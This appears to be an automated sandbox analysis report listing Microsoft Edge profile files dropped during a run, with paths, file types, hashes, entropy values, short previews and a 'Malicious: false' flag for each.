SSDEEP:	6:iOrvRWhSq2Pwkn23oH+TcwtzjqEKj3K/2jMGIFUtJvRWabZmwPvRWVtFkwOwkn2k:7dvYfYebvqBQFUtJb/m5JfYebvqBvJ
MD5:	903DC491B342375057FE095F5CCE7EED
SHA1:	F235A3556144567806581BB3B6801BEB59198DC5
SHA-256:	09C2401A92BED38706DE74DBD57EEA6B0E658C97E91D176430D6C885C35E4974
SHA-512:	5A3CC6A86FD420A0B35C7F55128603F487256378C5E93D83403015A8636BC2BE0F949EE5D69326692072CE8EC819277E05202CC6AD30BB7AC24A9C1D42D583AC
Malicious:	false
Preview:	2025/01/09-08:40:58.833 19f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/01/09-08:40:58.843 19f0 Recovering log #3.2025/01/09-08:40:58.848 19f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.240223047985572
Encrypted:	false
SSDEEP:	6:iOrvRWhSq2Pwkn23oH+TcwtzjqEKj3K/2jMGIFUtJvRWabZmwPvRWVtFkwOwkn2k:7dvYfYebvqBQFUtJb/m5JfYebvqBvJ
MD5:	903DC491B342375057FE095F5CCE7EED
SHA1:	F235A3556144567806581BB3B6801BEB59198DC5
SHA-256:	09C2401A92BED38706DE74DBD57EEA6B0E658C97E91D176430D6C885C35E4974
SHA-512:	5A3CC6A86FD420A0B35C7F55128603F487256378C5E93D83403015A8636BC2BE0F949EE5D69326692072CE8EC819277E05202CC6AD30BB7AC24A9C1D42D583AC
Malicious:	false
Preview:	2025/01/09-08:40:58.833 19f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/01/09-08:40:58.843 19f0 Recovering log #3.2025/01/09-08:40:58.848 19f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4a0756d0-984b-4ebf-92b5-54aee6c0f61d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7add08f0-0b25-4266-9566-26e5520287ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8a48c57e-d5e2-4078-9ce9-ff6163c69789.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF38f9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.2400745730736755
Encrypted:	false
SSDEEP:	12:7GtnyvYfYebvqBZFUtMttG/aiHR5JfYebvqBaJ:7/YfYebvyggKjJfYebvL
MD5:	442E58E298DB21298AE6BFE90EB19598
SHA1:	E59E50DD81E8E0311655C2FA1B8543CF48A81653
SHA-256:	48626D1E89C21E5CB6F05F944A91D4EA8D3578DF2D5E36981BD07DDF96FB8A3F
SHA-512:	24A8932AAF81F72B6B0F2DEA9EE3B620497A0B98407C4545A5AE48AF0D46CF27DE6F46FADB05514BD814245F4BFE6B8A03714B51A0F8C00889023B4F2CAA03CE
Malicious:	false
Preview:	2025/01/09-08:41:15.248 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/01/09-08:41:15.249 1850 Recovering log #3.2025/01/09-08:41:15.252 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.2400745730736755
Encrypted:	false
SSDEEP:	12:7GtnyvYfYebvqBZFUtMttG/aiHR5JfYebvqBaJ:7/YfYebvyggKjJfYebvL
MD5:	442E58E298DB21298AE6BFE90EB19598
SHA1:	E59E50DD81E8E0311655C2FA1B8543CF48A81653
SHA-256:	48626D1E89C21E5CB6F05F944A91D4EA8D3578DF2D5E36981BD07DDF96FB8A3F
SHA-512:	24A8932AAF81F72B6B0F2DEA9EE3B620497A0B98407C4545A5AE48AF0D46CF27DE6F46FADB05514BD814245F4BFE6B8A03714B51A0F8C00889023B4F2CAA03CE
Malicious:	false
Preview:	2025/01/09-08:41:15.248 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/01/09-08:41:15.249 1850 Recovering log #3.2025/01/09-08:41:15.252 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.239872994730375
Encrypted:	false
SSDEEP:	6:iOrvRJQ+q2Pwkn23oH+TcwtpIFUtJvRJgZmwPvRJQVkwOwkn23oH+Tcwta/WLJ:7PVvYfYebmFUtJg/zI5JfYebaUJ
MD5:	11D536CDC1114346C7244F6DD5548BA7
SHA1:	89951D05909FF4FAAE33410F378995740A136886
SHA-256:	A3697767F19D7F79FB998F44E1A3D2D3963C80268250E1C63D8BFC3845BB2DD5
SHA-512:	7A4666198B948C05CBAB93C12C6371EFE9F34C978D90C3A99A8E332F4BA834ABFB477FF2EB249133F9544EB2EC6EB9A01E7EAFF9E94A173EF566CC52D9AB5DA6
Malicious:	false
Preview:	2025/01/09-08:40:57.876 828 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/01/09-08:40:57.876 828 Recovering log #3.2025/01/09-08:40:57.876 828 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.239872994730375
Encrypted:	false
SSDEEP:	6:iOrvRJQ+q2Pwkn23oH+TcwtpIFUtJvRJgZmwPvRJQVkwOwkn23oH+Tcwta/WLJ:7PVvYfYebmFUtJg/zI5JfYebaUJ
MD5:	11D536CDC1114346C7244F6DD5548BA7
SHA1:	89951D05909FF4FAAE33410F378995740A136886
SHA-256:	A3697767F19D7F79FB998F44E1A3D2D3963C80268250E1C63D8BFC3845BB2DD5
SHA-512:	7A4666198B948C05CBAB93C12C6371EFE9F34C978D90C3A99A8E332F4BA834ABFB477FF2EB249133F9544EB2EC6EB9A01E7EAFF9E94A173EF566CC52D9AB5DA6
Malicious:	false
Preview:	2025/01/09-08:40:57.876 828 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/01/09-08:40:57.876 828 Recovering log #3.2025/01/09-08:40:57.876 828 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.066752832947652
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTNnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYqvn6:QrzWMffxnzkkqtXnTK+hNH+5EVum1
MD5:	0D324D9373DFB3716DF11E229488618D
SHA1:	95AEB56C89A404CC7BF3EFCC20C5F194AD198447
SHA-256:	F9E4A0B8394521F21A300C60E35CC027F075DAA46967D1F3C7C0A1A1A891AAB1
SHA-512:	AA896E090E7F924229606BE0A7D9CDD03782A1C82B071B318D1268E6971EF6B575A9EAA59D587DD3A92E503452F817BAC4C5C3970147D11A38B1B2AD1E2ACDD4
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46639831566937956
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0LcQQpQg:v7doKsKuKZKlZNmu46yjx0LliR
MD5:	7998519ECD4EAFBC78CC687F115D392D
SHA1:	CB3F27E919B649D7808E6BE983AFD20F50DEBE2B
SHA-256:	E813FD990F958A7B806A634577467EF70768E01B5F4F510752ABD70E9954B2DC
SHA-512:	C80FC9CBD9545356D8ABEC5C77DAE9715710E808FFC43D4F134042A77FFB1F3359712A41F4CA0A2364854BA9840B9CA8866B7A61B987963468E54C2000955FB1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c28cb928-767d-4635-b01c-a70a382eb5b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37816
Entropy (8bit):	5.556000307631111
Encrypted:	false
SSDEEP:	768:faknj57pLGLhvZWPWcfIp8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/452JrwICmYBDn:faknjPchvZWPWcfIpu1jaiq26ICDfCtk
MD5:	4F026B3233DD3685416F385B8E843A09
SHA1:	F9F93EB148E34374A48B07EB1CE493EFBE721D03
SHA-256:	5F57883B0932770CC0BAB5A474C40D32A64FE0302789D018BFDB34EC11547E8A
SHA-512:	C121C4146BB1098291F2A2C2065B3EEEACCC538625A0B8FF74C589251E6DA98C7E0C2F11512993F33739B383DBF8100C8C71944AA9691126A45F92C101FC3F9E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13380903657830671","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13380903657830671","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e6bc7ab8-1fc4-4f1d-ba09-5d5833a47ce9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (18029), with no line terminators
Category:	dropped
Size (bytes):	18033
Entropy (8bit):	5.4463098791724915
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZiuaba4uypTJcKg6/q0YFYJ6JZ0VfZ04RaRWOJN7w8qpj+FX0Qwet:sVjLAJu4TJcKBqnZkZnRaRTypUkQwe2+
MD5:	541C9E047925FDA6391B321CA2E41FEE
SHA1:	982052394E81AE61D6E6264D4A4C8A1705C46D08
SHA-256:	E1104BB483D3775B830262BC3A1556EAB72393DCF5D303D68244AE4EB6D61046
SHA-512:	5D7AFD0DDBECAA3903018D2A5CC87AACC66D92AF74AF438C57FABBFEB74181DD08A56B3138FB96E11EA559DEB0F0CA25DAA84AE4645D4EB24C3C9133DD936D68
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fed3aa2c-e9f5-494b-a48c-bcb5f833da75.tmp

Download File

